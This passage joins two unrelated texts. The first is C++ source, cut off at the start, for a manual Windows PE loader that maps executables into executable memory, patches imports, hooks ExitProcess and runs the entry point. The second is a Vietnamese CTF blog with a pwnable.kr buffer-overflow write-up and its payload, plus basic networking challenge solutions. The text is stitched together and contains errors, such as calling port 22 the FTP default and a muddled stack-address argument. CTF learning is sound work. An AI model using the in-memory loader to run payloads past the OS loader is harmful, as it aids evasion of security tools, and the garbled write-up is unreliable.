        if (!loadLanguage(currentLanguage_)) {
            // Fallback to English
            if (!loadLanguage(L"en-US")) {
                // Final fallback to main module
                currentMUI_ = GetModuleHandleW(nullptr);
                currentLanguage_ = L"default";
            }
        }
    }

    HMODULE loadMUIModule(const std::wstring& languageCode) const {
        // Get current module path
        wchar_t modulePath[MAX_PATH];
        if (!GetModuleFileNameW(nullptr, modulePath, MAX_PATH)) {
            return nullptr;
        }

        // Extract directory and filename
        std::wstring moduleDir = modulePath;
        size_t lastSlash = moduleDir.find_last_of(L"\\/");
        if (lastSlash == std::wstring::npos) return nullptr;

        std::wstring fileName = moduleDir.substr(lastSlash + 1);
        moduleDir = moduleDir.substr(0, lastSlash);

        // Construct MUI path: ModuleDir\LanguageCode\ModuleName.mui
        std::wstring muiPath = moduleDir + L"\\" + languageCode + L"\\" + fileName + L".mui";

        // Try to load MUI file
        return LoadLibraryExW(muiPath.c_str(), nullptr,
            LOAD_LIBRARY_AS_DATAFILE | LOAD_LIBRARY_AS_IMAGE_RESOURCE);
    }

    void cleanup() {
        if (currentMUI_ && currentMUI_ != GetModuleHandleW(nullptr)) {
            FreeLibrary(currentMUI_);
            currentMUI_ = nullptr;
        }
    }

    HMODULE currentMUI_;
    std::wstring currentLanguage_;
};

// --------------------------------------------------
// Utility
// --------------------------------------------------
namespace util {
    inline LPVOID rvaToPtr(LPVOID base, DWORD rva) {
        return static_cast<BYTE*>(base) + rva;
    }

    inline bool validatePtr(LPVOID base, SIZE_T baseSize, LPVOID ptr, SIZE_T ptrSize) {
        if (!base || !ptr || baseSize == 0 || ptrSize == 0) return false;
        auto start = reinterpret_cast<ULONG_PTR>(base);
        auto end = start + baseSize;
        auto check = reinterpret_cast<ULONG_PTR>(ptr);
        return (check >= start) && (check + ptrSize <= end);
    }

    inline std::string getLastErrorString() {
        DWORD error = GetLastError();
        if (error == 0) return "No error";

        LPSTR messageBuffer = nullptr;
        size_t size = FormatMessageA(
            FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
            nullptr, error, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
            (LPSTR)&messageBuffer, 0, nullptr);

        std::string message(messageBuffer, size);
        LocalFree(messageBuffer);
        return message;
    }
}

// --------------------------------------------------
// RAII file‑mapping wrapper
// --------------------------------------------------
class FileMap {
public:
    explicit FileMap(const std::string& path) {
        file_ = CreateFileA(path.c_str(), GENERIC_READ, FILE_SHARE_READ, nullptr,
            OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
        if (file_ == INVALID_HANDLE_VALUE) {
            std::cerr << "[FileMap] Cannot open " << path << " (" << util::getLastErrorString() << ")\n";
            return;
        }

        LARGE_INTEGER fileSize;
        if (!GetFileSizeEx(file_, &fileSize)) {
            std::cerr << "[FileMap] GetFileSizeEx failed (" << util::getLastErrorString() << ")\n";
            return;
        }
        size_ = static_cast<DWORD>(fileSize.QuadPart);

        mapping_ = CreateFileMappingA(file_, nullptr, PAGE_READONLY, 0, 0, nullptr);
        if (!mapping_) {
            std::cerr << "[FileMap] CreateFileMapping failed (" << util::getLastErrorString() << ")\n";
            return;
        }
        view_ = MapViewOfFile(mapping_, FILE_MAP_READ, 0, 0, 0);
        if (!view_) {
            std::cerr << "[FileMap] MapViewOfFile failed (" << util::getLastErrorString() << ")\n";
        }
    }

    ~FileMap() {
        if (view_)    UnmapViewOfFile(view_);
        if (mapping_) CloseHandle(mapping_);
        if (file_ != INVALID_HANDLE_VALUE) CloseHandle(file_);
    }

    [[nodiscard]] bool   valid() const { return view_ != nullptr; }
    [[nodiscard]] const void* data()  const { return view_; }
    [[nodiscard]] DWORD  size()  const { return size_; }

private:
    HANDLE file_{ INVALID_HANDLE_VALUE };
    HANDLE mapping_{ nullptr };
    LPVOID view_{ nullptr };
    DWORD  size_{ 0 };
};

// --------------------------------------------------
// Command‑line helper (skips first <skip> parameters)
// --------------------------------------------------
class CommandLine {
public:
    CommandLine(int argc, char* argv[], int skip = 0) {
        for (int i = skip; i < argc; ++i) {
            args_.emplace_back(argv[i]);
        }
        buildRaw();
        buildArgv();
    }

    [[nodiscard]] int      argc() const { return static_cast<int>(args_.size()); }
    [[nodiscard]] char** argv() const { return argv_.get(); }
    [[nodiscard]] LPCSTR   raw()  const { return raw_.c_str(); }

private:
    void buildRaw() {
        for (size_t i = 0; i < args_.size(); ++i) {
            if (i) raw_ += ' ';
            const auto& s = args_[i];
            if (s.find_first_of(" \t") != std::string::npos) {
                raw_ += '"' + s + '"';
            }
            else {
                raw_ += s;
            }
        }
    }

    void buildArgv() {
        argv_ = std::make_unique<char* []>(args_.size() + 1);
        for (size_t i = 0; i < args_.size(); ++i) {
            argv_[i] = args_[i].data();
        }
        argv_[args_.size()] = nullptr; // Null terminate
    }

    std::vector<std::string> args_;
    std::string              raw_;
    std::unique_ptr<char* []> argv_;
};

// Forward decl so static hook can access loader instance
class PELoader;
static PELoader* g_loader = nullptr;

// Stub function for missing imports
static LONG_PTR WINAPI StubFunction() {
    std::cout << "[STUB] Called missing function - returning 0\n";
    return 0;
}

// --------------------------------------------------
// PE loader (single‑file, minimal OOP) with delay import support
// --------------------------------------------------
class PELoader {
private:
    bool skipMissingImports_;

public:
    explicit PELoader(CommandLine& cmd, bool skipMissingImports = false)
        : cmd_(cmd), skipMissingImports_(skipMissingImports), muiManager_(std::make_unique<MUIManager>()) {
        g_loader = this;
    }

    ~PELoader() {
        cleanup();
        g_loader = nullptr;
    }

    // Intercept ExitProcess so the host process keeps control
    static void WINAPI ExitProcessHook(UINT code) {
        if (g_loader) {
            g_loader->exitCalled_ = true;
            g_loader->exitCode_ = code;
            std::cout << "[+] ExitProcess intercepted — code=" << code << "\n";
        }
    }

    bool load(const std::string& path) {
        try {
            map_ = std::make_unique<FileMap>(path);
            if (!map_->valid()) {
                std::cerr << "[!] Failed to map file: " << path << "\n";
                return false;
            }

            if (!isValidPE(map_->data())) {
                std::cerr << "[!] Invalid PE file: " << path << "\n";
                return false;
            }

            nt_ = getNtHeaders(map_->data());
            if (!nt_) {
                std::cerr << "[!] Invalid NT headers\n";
                return false;
            }

            imageSize_ = nt_->OptionalHeader.SizeOfImage;
            if (imageSize_ == 0 || imageSize_ > 0x10000000) { // Sanity check
                std::cerr << "[!] Invalid image size: " << imageSize_ << "\n";
                return false;
            }

            image_ = allocateImage(nt_);
            if (!image_) {
                std::cerr << "[!] Failed to allocate image memory\n";
                return false;
            }

            if (!copyImage()) {
                std::cerr << "[!] Failed to copy image\n";
                return false;
            }

            nt_ = getNtHeaders(image_);

            if (!resolveImports()) {
                std::cerr << "[!] Failed to resolve imports\n";
                return false;
            }

            if (!resolveDelayImports()) {
                std::cerr << "[!] Failed to resolve delay imports\n";
                return false;
            }

            if (!applyRelocations()) {
                std::cerr << "[!] Failed to apply relocations\n";
                return false;
            }

            // Try to load MUI resources for the loaded PE
            loadMUIResources(path);

            std::cout << "[+] PE loaded successfully at: " << std::hex << image_ << std::dec << "\n";
            return true;
        }
        catch (const std::exception& e) {
            std::cerr << "[!] Exception during load: " << e.what() << "\n";
            return false;
        }
    }

    int run() {
        if (!image_) {
            std::cerr << "[!] No image loaded\n";
            return -1;
        }

        try {
            return callEntry();
        }
        catch (const std::exception& e) {
            std::cerr << "[!] Exception during execution: " << e.what() << "\n";
            return -1;
        }
    }

    // MUI related functions
    bool setLanguage(const std::wstring& languageCode) {
        bool result = muiManager_->loadLanguage(languageCode);
        if (!result) {
            std::wcout << L"[!] MUI file not found for language: " << languageCode << L" (continuing without MUI)\n";
        }
        return result;
    }

    std::wstring getString(UINT resourceId) const {
        return muiManager_->loadString(resourceId);
    }

private:
    // ---------- helpers ----------
    static bool isValidPE(const void* data) {
        if (!data) return false;

        auto dos = reinterpret_cast<const IMAGE_DOS_HEADER*>(data);
        if (dos->e_magic != IMAGE_DOS_SIGNATURE) return false;

        if (dos->e_lfanew < sizeof(IMAGE_DOS_HEADER) || dos->e_lfanew > 0x1000) {
            return false;
        }

        auto nt = reinterpret_cast<const IMAGE_NT_HEADERS*>(
            static_cast<const BYTE*>(data) + dos->e_lfanew);
        return nt->Signature == IMAGE_NT_SIGNATURE;
    }

    static PIMAGE_NT_HEADERS getNtHeaders(const void* base) {
        if (!base) return nullptr;

        auto dos = reinterpret_cast<const IMAGE_DOS_HEADER*>(base);
        if (dos->e_magic != IMAGE_DOS_SIGNATURE) return nullptr;

        return reinterpret_cast<PIMAGE_NT_HEADERS>(
            static_cast<BYTE*>(const_cast<void*>(base)) + dos->e_lfanew);
    }

    LPVOID allocateImage(PIMAGE_NT_HEADERS nt) {
        if (!nt) return nullptr;

        SIZE_T sz = nt->OptionalHeader.SizeOfImage;
        auto preferred = reinterpret_cast<LPVOID>(nt->OptionalHeader.ImageBase);

        // Try preferred address first
        auto mem = VirtualAlloc(preferred, sz, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        if (mem) {
            std::cout << "[+] Allocated at preferred address: " << std::hex << mem << std::dec << "\n";
            return mem;
        }

        // Fallback to any address
        mem = VirtualAlloc(nullptr, sz, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        if (mem) {
            std::cout << "[+] Allocated at alternate address: " << std::hex << mem << std::dec << "\n";
        }
        return mem;
    }

    bool copyImage() {
        if (!image_ || !map_ || !nt_) return false;

        // Copy headers
        SIZE_T headerSize = nt_->OptionalHeader.SizeOfHeaders;
        if (headerSize > map_->size()) {
            std::cerr << "[!] Invalid header size\n";
            return false;
        }

        std::memcpy(image_, map_->data(), headerSize);

        // Copy sections
        auto section = IMAGE_FIRST_SECTION(nt_);
        for (int i = 0; i < nt_->FileHeader.NumberOfSections; ++i, ++section) {
            if (!section->SizeOfRawData) continue;

            if (section->PointerToRawData + section->SizeOfRawData > map_->size()) {
                std::cerr << "[!] Invalid section data\n";
                return false;
            }

            if (section->VirtualAddress + section->SizeOfRawData > imageSize_) {
                std::cerr << "[!] Section exceeds image size\n";
                return false;
            }

            std::memcpy(util::rvaToPtr(image_, section->VirtualAddress),
                static_cast<const BYTE*>(map_->data()) + section->PointerToRawData,
                section->SizeOfRawData);
        }
        return true;
    }

    bool resolveImports() {
        const auto& dir = nt_->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
        if (!dir.Size) {
            std::cout << "[+] No imports to resolve\n";
            return true;
        }

        if (!util::validatePtr(image_, imageSize_,
            util::rvaToPtr(image_, dir.VirtualAddress), dir.Size)) {
            std::cerr << "[!] Invalid import directory\n";
            return false;
        }

        auto imp = reinterpret_cast<PIMAGE_IMPORT_DESCRIPTOR>(
            util::rvaToPtr(image_, dir.VirtualAddress));

        while (imp->Name) {
            if (!util::validatePtr(image_, imageSize_, imp, sizeof(IMAGE_IMPORT_DESCRIPTOR))) {
                std::cerr << "[!] Invalid import descriptor\n";
                return false;
            }

            const char* dllName = reinterpret_cast<char*>(util::rvaToPtr(image_, imp->Name));
            if (!util::validatePtr(image_, imageSize_, const_cast<char*>(dllName), 1)) {
                std::cerr << "[!] Invalid DLL name\n";
                return false;
            }

            std::cout << "[+] Loading DLL: " << dllName << "\n";
            HMODULE dll = LoadLibraryA(dllName);
            if (!dll) {
                std::cerr << "[!] Cannot load " << dllName << " (" << util::getLastErrorString() << ")\n";
                return false;
            }

            auto thunkName = reinterpret_cast<PIMAGE_THUNK_DATA>(
                util::rvaToPtr(image_, imp->OriginalFirstThunk ? imp->OriginalFirstThunk : imp->FirstThunk));
            auto thunkIAT = reinterpret_cast<PIMAGE_THUNK_DATA>(util::rvaToPtr(image_, imp->FirstThunk));

            while (thunkName->u1.AddressOfData) {
                if (!util::validatePtr(image_, imageSize_, thunkName, sizeof(IMAGE_THUNK_DATA)) ||
                    !util::validatePtr(image_, imageSize_, thunkIAT, sizeof(IMAGE_THUNK_DATA))) {
                    std::cerr << "[!] Invalid thunk data\n";
                    return false;
                }

                FARPROC func = nullptr;
                std::string funcName;

                if (IMAGE_SNAP_BY_ORDINAL(thunkName->u1.Ordinal)) {
                    DWORD ordinal = static_cast<DWORD>(IMAGE_ORDINAL(thunkName->u1.Ordinal));
                    func = GetProcAddress(dll, MAKEINTRESOURCEA(ordinal));
                    funcName = "Ordinal " + std::to_string(ordinal);
                }
                else {
                    auto ibn = reinterpret_cast<PIMAGE_IMPORT_BY_NAME>(
                        util::rvaToPtr(image_, thunkName->u1.AddressOfData));

                    if (!util::validatePtr(image_, imageSize_, ibn, sizeof(IMAGE_IMPORT_BY_NAME))) {
                        std::cerr << "[!] Invalid import by name\n";
                        return false;
                    }

                    funcName = ibn->Name;
                    if (std::strcmp("ExitProcess", ibn->Name) == 0) {
                        func = reinterpret_cast<FARPROC>(&ExitProcessHook);
                    }
                    else {
                        func = GetProcAddress(dll, ibn->Name);
                    }
                }

                if (!func) {
                    std::cerr << "[!] Failed to resolve function: " << funcName
                        << " from " << dllName << " (" << util::getLastErrorString() << ")\n";

                    if (skipMissingImports_ ||
                        (std::string(dllName).find("COMCTL32") != std::string::npos &&
                            funcName.find("Ordinal") != std::string::npos)) {

                        std::cerr << "[+] Using stub function for missing import: " << funcName << "\n";
                        thunkIAT->u1.Function = reinterpret_cast<ULONGLONG>(&StubFunction);
                    }
                    else {
                        return false;
                    }
                }
                else {
                    thunkIAT->u1.Function = reinterpret_cast<ULONGLONG>(func);
                }
                ++thunkName; ++thunkIAT;
            }
            ++imp;
        }

        std::cout << "[+] Imports resolved successfully\n";
        return true;
    }

    bool resolveDelayImports() {
        const auto& dir = nt_->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT];
        if (!dir.Size) {
            std::cout << "[+] No delay imports to resolve\n";
            return true;
        }

        std::cout << "[+] Processing delay imports...\n";

        if (!util::validatePtr(image_, imageSize_,
            util::rvaToPtr(image_, dir.VirtualAddress), dir.Size)) {
            std::cerr << "[!] Invalid delay import directory\n";
            return false;
        }

        auto desc = reinterpret_cast<PIMAGE_DELAYLOAD_DESCRIPTOR>(
            util::rvaToPtr(image_, dir.VirtualAddress));

        while (desc->DllNameRVA) {
            if (!util::validatePtr(image_, imageSize_, desc, sizeof(IMAGE_DELAYLOAD_DESCRIPTOR))) {
                std::cerr << "[!] Invalid delay import descriptor\n";
                return false;
            }

            // Get DLL name
            ULONGLONG imageBase = nt_->OptionalHeader.ImageBase;
            DWORD dllNameRva = desc->DllNameRVA;
            if (dllNameRva > imageBase) {
                dllNameRva = static_cast<DWORD>(dllNameRva - imageBase); // Convert VA to RVA if needed
            }

            const char* dllName = reinterpret_cast<const char*>(util::rvaToPtr(image_, dllNameRva));
            if (!util::validatePtr(image_, imageSize_, const_cast<char*>(dllName), 1)) {
                std::cerr << "[!] Invalid DLL name in delay import\n";
                return false;
            }

            std::cout << "[+] Processing delay import DLL: " << dllName << "\n";

            // Process delay import functions
            bool success = false;
#ifdef _WIN64
            success = processDelayImport<ULONGLONG, IMAGE_THUNK_DATA64>(
                desc, dllName, imageBase, IMAGE_ORDINAL_FLAG64);
#else
            success = processDelayImport<DWORD, IMAGE_THUNK_DATA32>(
                desc, dllName, imageBase, IMAGE_ORDINAL_FLAG32);
#endif
            if (!success) {
                std::cerr << "[!] Failed to process delay imports for " << dllName << "\n";
                return false;
            }

            ++desc;
        }

        std::cout << "[+] Delay imports resolved successfully\n";
        return true;
    }

    template<typename T_FIELD, typename T_IMAGE_THUNK_DATA>
    bool processDelayImport(PIMAGE_DELAYLOAD_DESCRIPTOR desc, const char* dllName,
        ULONGLONG imageBase, T_FIELD ordinalFlag) {

        // Load the DLL
        HMODULE dll = LoadLibraryA(dllName);
        if (!dll) {
            std::cerr << "[!] Cannot load delay import DLL: " << dllName
                << " (" << util::getLastErrorString() << ")\n";
            return false;
        }

        // Get RVAs
        DWORD iatRva = desc->ImportAddressTableRVA;
        if (iatRva > imageBase) iatRva = static_cast<DWORD>(iatRva - imageBase);

        DWORD thunkRva = desc->ImportNameTableRVA;
        if (thunkRva > imageBase) thunkRva = static_cast<DWORD>(thunkRva - imageBase);

        // Get pointers to tables
        auto iatPtr = reinterpret_cast<T_FIELD*>(util::rvaToPtr(image_, iatRva));
        auto thunkPtr = reinterpret_cast<T_IMAGE_THUNK_DATA*>(util::rvaToPtr(image_, thunkRva));

        // Process each function
        while (*iatPtr && thunkPtr->u1.AddressOfData) {
            if (!util::validatePtr(image_, imageSize_, iatPtr, sizeof(T_FIELD)) ||
                !util::validatePtr(image_, imageSize_, thunkPtr, sizeof(T_IMAGE_THUNK_DATA))) {
                std::cerr << "[!] Invalid delay import thunk\n";
                return false;
            }

            FARPROC func = nullptr;

            // Check if import by ordinal
            if (thunkPtr->u1.Ordinal & ordinalFlag) {
                T_FIELD ordinal = thunkPtr->u1.Ordinal & (~ordinalFlag);
                func = GetProcAddress(dll, MAKEINTRESOURCEA(static_cast<DWORD>(ordinal)));
            }
            else {
                // Import by name
                DWORD nameRva = static_cast<DWORD>(thunkPtr->u1.AddressOfData);
                if (nameRva > imageBase) nameRva = static_cast<DWORD>(nameRva - imageBase);

                auto ibn = reinterpret_cast<PIMAGE_IMPORT_BY_NAME>(util::rvaToPtr(image_, nameRva));
                if (!util::validatePtr(image_, imageSize_, ibn, sizeof(IMAGE_IMPORT_BY_NAME))) {
                    std::cerr << "[!] Invalid import by name structure\n";
                    return false;
                }

                const char* funcName = reinterpret_cast<const char*>(ibn->Name);
                if (std::strcmp("ExitProcess", funcName) == 0) {
                    func = reinterpret_cast<FARPROC>(&ExitProcessHook);
                }
                else {
                    func = GetProcAddress(dll, funcName);
                }
            }

            if (!func) {
                std::cerr << "[!] Failed to resolve delay import function\n";
                if (skipMissingImports_) {
                    std::cerr << "[+] Using stub function for missing delay import\n";
                    *iatPtr = reinterpret_cast<T_FIELD>(&StubFunction);
                }
                else {
                    return false;
                }
            }
            else {
                // Directly patch the IAT
                *iatPtr = reinterpret_cast<T_FIELD>(func);
            }

            ++iatPtr;
            ++thunkPtr;
        }

        return true;
    }

    bool applyRelocations() {
        ULONGLONG delta = reinterpret_cast<ULONGLONG>(image_) - nt_->OptionalHeader.ImageBase;
        if (!delta) {
            std::cout << "[+] No relocations needed (loaded at preferred address)\n";
            return true;
        }

        const auto& dir = nt_->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
        if (!dir.Size) {
            std::cerr << "[!] Relocation table missing but required\n";
            return false;
        }

        if (!util::validatePtr(image_, imageSize_,
            util::rvaToPtr(image_, dir.VirtualAddress), dir.Size)) {
            std::cerr << "[!] Invalid relocation directory\n";
            return false;
        }

        auto reloc = reinterpret_cast<PIMAGE_BASE_RELOCATION>(
            util::rvaToPtr(image_, dir.VirtualAddress));

        while (reloc->SizeOfBlock) {
            if (!util::validatePtr(image_, imageSize_, reloc, sizeof(IMAGE_BASE_RELOCATION))) {
                std::cerr << "[!] Invalid relocation block\n";
                return false;
            }

            auto count = (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
            auto entry = reinterpret_cast<PWORD>(reloc + 1);

            for (DWORD i = 0; i < count; ++i, ++entry) {
                WORD type = *entry >> 12;
                WORD off = *entry & 0xFFF;

                if (type == IMAGE_REL_BASED_HIGHLOW || type == IMAGE_REL_BASED_DIR64) {
                    auto patch = reinterpret_cast<PULONGLONG>(
                        util::rvaToPtr(image_, reloc->VirtualAddress + off));

                    if (!util::validatePtr(image_, imageSize_, patch, sizeof(ULONGLONG))) {
                        std::cerr << "[!] Invalid relocation target\n";
                        return false;
                    }

                    *patch += delta;
                }
            }
            reloc = reinterpret_cast<PIMAGE_BASE_RELOCATION>(
                reinterpret_cast<BYTE*>(reloc) + reloc->SizeOfBlock);
        }

        std::cout << "[+] Relocations applied (delta: " << std::hex << delta << std::dec << ")\n";
        return true;
    }

    void loadMUIResources(const std::string& path) {
        // Extract filename without extension for MUI loading
        size_t lastSlash = path.find_last_of("\\/");
        size_t lastDot = path.find_last_of('.');

        if (lastSlash != std::string::npos && lastDot != std::string::npos && lastDot > lastSlash) {
            std::string baseName = path.substr(lastSlash + 1, lastDot - lastSlash - 1);

            // Convert to wide string for MUI operations
            std::wstring wBaseName(baseName.begin(), baseName.end());

            std::wcout << L"[MUI] Attempting to load resources for: " << wBaseName << L"\n";

            // Try current system language first
            wchar_t langBuffer[LOCALE_NAME_MAX_LENGTH];
            if (GetUserDefaultLocaleName(langBuffer, LOCALE_NAME_MAX_LENGTH)) {
                if (muiManager_->isLanguageAvailable(langBuffer)) {
                    muiManager_->loadLanguage(langBuffer);
                }
            }
        }
    }

    int callEntry() {
        if (!nt_ || !image_) return -1;

        auto entry = util::rvaToPtr(image_, nt_->OptionalHeader.AddressOfEntryPoint);
        if (!entry) {
            std::cerr << "[!] Invalid entry point\n";
            return -1;
        }

        std::cout << "[+] Calling entry point at: " << std::hex << entry << std::dec << "\n";

        if (nt_->FileHeader.Characteristics & IMAGE_FILE_DLL) {
            auto dllMain = reinterpret_cast<BOOL(WINAPI*)(HINSTANCE, DWORD, LPVOID)>(entry);
            BOOL result = dllMain(reinterpret_cast<HINSTANCE>(image_), DLL_PROCESS_ATTACH, nullptr);
            return result ? 0 : -1;
        }

        if (nt_->OptionalHeader.Subsystem == IMAGE_SUBSYSTEM_WINDOWS_GUI) {
            auto winMain = reinterpret_cast<int (WINAPI*)(HINSTANCE, HINSTANCE, LPSTR, int)>(entry);
            return winMain(reinterpret_cast<HINSTANCE>(image_), nullptr,
                const_cast<char*>(cmd_.raw()), SW_SHOWDEFAULT);
        }

        auto mainFn = reinterpret_cast<int (*)(int, char**)>(entry);
        return mainFn(cmd_.argc(), cmd_.argv());
    }

    void cleanup() {
        if (image_) {
            VirtualFree(image_, 0, MEM_RELEASE);
            image_ = nullptr;
        }
    }

    // ---------- members ----------
    CommandLine& cmd_;
    std::unique_ptr<FileMap>     map_;
    std::unique_ptr<MUIManager>  muiManager_;
    PIMAGE_NT_HEADERS            nt_{ nullptr };
    LPVOID                       image_{ nullptr };
    SIZE_T                       imageSize_{ 0 };
    bool                         exitCalled_{ false };
    DWORD                        exitCode_{ 0 };
};

// --------------------------------------------------
// Entry point
// --------------------------------------------------
int main(int argc, char* argv[]) {
    if (argc < 2) {
        std::cout << "Usage: " << argv[0] << " <pe_file> [arguments...]\n";
        std::cout << "Options:\n";
        std::cout << "  --lang <code>     Set language (e.g., en-US, vi-VN)\n";
        return 1;
    }

    // Parse command line arguments
    std::string targetFile = argv[1];
    std::wstring language;

    // Check for language option
    for (int i = 2; i < argc; ++i) {
        if (std::string(argv[i]) == "--lang" && i + 1 < argc) {
            std::string langStr = argv[i + 1];
            language = std::wstring(langStr.begin(), langStr.end());
            // Remove language arguments from command line
            for (int j = i; j < argc - 2; ++j) {
                argv[j] = argv[j + 2];
            }
            argc -= 2;
            break;
        }
    }

    CommandLine cmd(argc, argv, 2); // skip exe + target path
    PELoader loader(cmd);

    // Set language if specified
    if (!language.empty()) {
        if (loader.setLanguage(language)) {
            std::wcout << L"[+] Language set to: " << language << L"\n";
        }
        // Continue execution even if MUI loading fails
    }

    if (!loader.load(targetFile)) {
        std::cerr << "[!] Failed to load PE file: " << targetFile << "\n";
        return 1;
    }

    std::cout << "[+] Starting execution...\n";
    return loader.run();
}

Pwnable.kr Writeup

Fri, 12 Nov 2021 00:00:00 GMT

BOF

Bài này cho ta cả source code C khá là tiện khỏi tốn công RE. Bây giờ ta bắt tay vào phân tích code thôi nào.

Code analyst

Ta thấy chương trình này chỉ cho ta nhập vào biến overflowme bằng hàm gets. Mà hàm này có đặc điểm là không giới hạn số kí tự nhập vào cho nên mình có thể tận dụng để khai thác lỗi buffer overflow. Tiếp theo mình thấy chương trình sẽ so sánh key (0xdeadbeef) được truyền vào hàm func với 0xcafebabe nếu đúng thì ta lấy được shell.

Examining the Binary, Exploitation

Giờ ta chạy chương trình thử. Alright! Mọi thứ diễn ra đúng như ta phân tích code. Giờ bỏ vào gdb debug thôi 😄 Ta disassemble xem hàm func thử.

Ta cần đặt 2 breakpoint: 1 tại hàm gets để lấy địa chỉ của vùng nhớ lưu giá trị ta nhập vào, 1 tại hàm cmp để xem cấu trúc so sánh của chương trình. Chạy chương trình lên nào. Ta thấy 0x7ffffffee2a0 chính là địa chỉ vùng nhớ lưu giá trị ta nhập vào. Tiếp đến xem thử hàm cmp. Ở đây ta thấy chương trình sẽ so sánh rbp-0x34 với 0xcafebabe Ta lấy địa chỉ vùng nhớ so sánh: Ta xem giá trị ở vùng nhớ này bằng lệnh x/x 0x7ffffffee29c Ta thấy tại đây chính là giá trị mà chương trình đã truyền vào hàm func() -> Chương trình này so sánh chuỗi truyền vào hàm func() với 0xcafebabe.

=> Vậy nhiệm vụ của mình bây giờ chính là làm sao thay đổi giá trị tại địa chỉ này ( 0x7ffffffee29c) từ 0xdeadbeef thành 0xcafebabe là ta win.

Ta có thể tính được khoảng cách từ địa chỉ vùng nhớ so sánh(0xdeadbeef) tới địa chỉ thanh ghi rbp là 0x34 (do cmp = $rbp-0x34). Mà địa chỉ thanh ghi rbp cũng chính là địa chỉ vùng nhớ lưu giá trị ta nhập vào. Vậy giờ ta chỉ việc ghi đè 0xcafebabe lên vùng nhớ này.

Ta sẽ có payload như sau: "v"*52+0xcafebabe. Giờ đi viết code exploit thôi nào.

Writing an Exploit with pwntools

Và đây chính là thành quả:

Kết luận:

Ở bài này ta t Ta chỉ cần tìm ra được địa chỉ của vùng nhớ lưu giá trị nhập vào và địa chỉ của vùng nhớ so sánh với chuỗi cho trước. Rồi tận dụng lỗi buffer overflow của hàm gets() để ghi đè chuỗi cho trước vào => bypass điều kiện -> win 👏

Junior Hacking Talents CTF Writeup

Wed, 13 Oct 2021 00:00:00 GMT

Networking:

HTTP 101:

Với bài này ta chỉ cần truy cập tên miền của đề bài cho ” http://http.kid.cyberjutsu-lab.tech/ ” bằng cổng 5555 là ra flag. Link truy cập sẽ có dạng như sau: http://http.kid.cyberjutsu-lab.tech:5555/ Và đây là kết quả : Flag: CTF{Hypertext_Transfer_Protocol}

Domain Name System 101:

Ta có thể thấy bài này yêu cầu ta tìm IP của tên miền đã cho. Để giải bài này có nhiều cách nhưng theo mình có hai hướng đơn giản như sau 1 là dùng extension trên chrome để tìm( mình thường xài “ip whois & flags”) và cách thứ 2 là dùng cmd để ping tới tên miền web. Bây giờ ta lần lượt thử từng cách nào.

Cách 1: Truy cập vào tên miền dã cho thử, nhưng ở đây ta thấy server web không phản hồi lại. Xem ra cách này không được rồi. Next tới cách 2 nha.. Cách 2: Ta mở cmd lên nhập lệnh sau vào: ping onepiece.kid.cyberjutsu-lab.tech. Và đây là thành quả: Dãy số tô màu vàng chính là địa chỉ ip ta cần tìm. Giờ thì đem đi submit thôi nào ^^.

Flag: CTF{93.13.33.22}

Socket 101:

Theo như đề bài ta thấy yêu cầu ta kết nối tới server bằng giao thức TCP vì vậy để làm được bài này chúng ta cần phải có kiến thức về TCP/IP( Mình sẽ đính kèm link tài liệu tham khảo bên dưới). Link tham khảo TCP/IP: https://vi.wikipedia.org/wiki/TCP/IP https://www.cloudflare.com/learning/ddos/glossary/tcp-ip/ Ở đây mình sử dụng netcat để mở một cổng kết nối TCP tới cổng với IP đã cho. Lệnh có dạng như sau: nc <ip> <port>. Và đây là thành quả: Giờ thì đi submit flag thôi nè :>

Flag: CTF{connect_to_somewhere}

File Sharing 101:

Ở bài này ta thấy đề yêu cầu ta kết nối tới server bằng giao thức FTP vì vậy để làm được bài này chúng ta cần phải có kiến thức về FTP( Tương tự bài trước thì bài này mình cũng mình sẽ đính kèm link vài nguồn tham khảo bên dưới).

Link tham khảo: https://vi.wikipedia.org/wiki/FTP https://quantrimang.com/ftp-la-gi-168304

Để thực hiện việc kết nối FTP thuận tiện hơn thì mình sử dụng tool Winscp trên Windows(mình sẽ để link tải và hướng dẫn sử dụng Winscp phía dưới) Link tải Winscp: https://winscp.net/download/WinSCP-5.19.2-Setup.exe Link hướng dẫn sử dụng; https://winscp.net/eng/docs/start Giờ ta chọn phương thức kết nối FTP rồi lần lượt điền IP , user,pass đề cho vào thôi(Port để mặc định 22 nha).

Khi kết nối thành công ta thấy trên server có file flag.txt. Mở lên thử xem nào! Ta đa! Flag đây rồi giờ đi submit thôi nào ^^ Flag: CTF{File_Transfer_Protocol}

Packet capture 101:

Nhiệm vụ của ta là tìm ra địa chỉ trang web mà nạn nhân đã truy cập trong khoảng thời gian bị lừa đảo. Bài này cung cấp cho ta 1 file .pcapng. Ta dùng wireshark để phân tích file này. Ta thấy khá nhiều gói tin. Bây giờ check thử từng gói xem sao. Đây ta đã tìm ra được link trang web lừa dảo https://xacminhgarenavn.xyz/ .

Flag: CTF{https://xacminhgarenavn.xyz/}

Giờ đi submit thôi nào :>

Bài tập quá hạn:

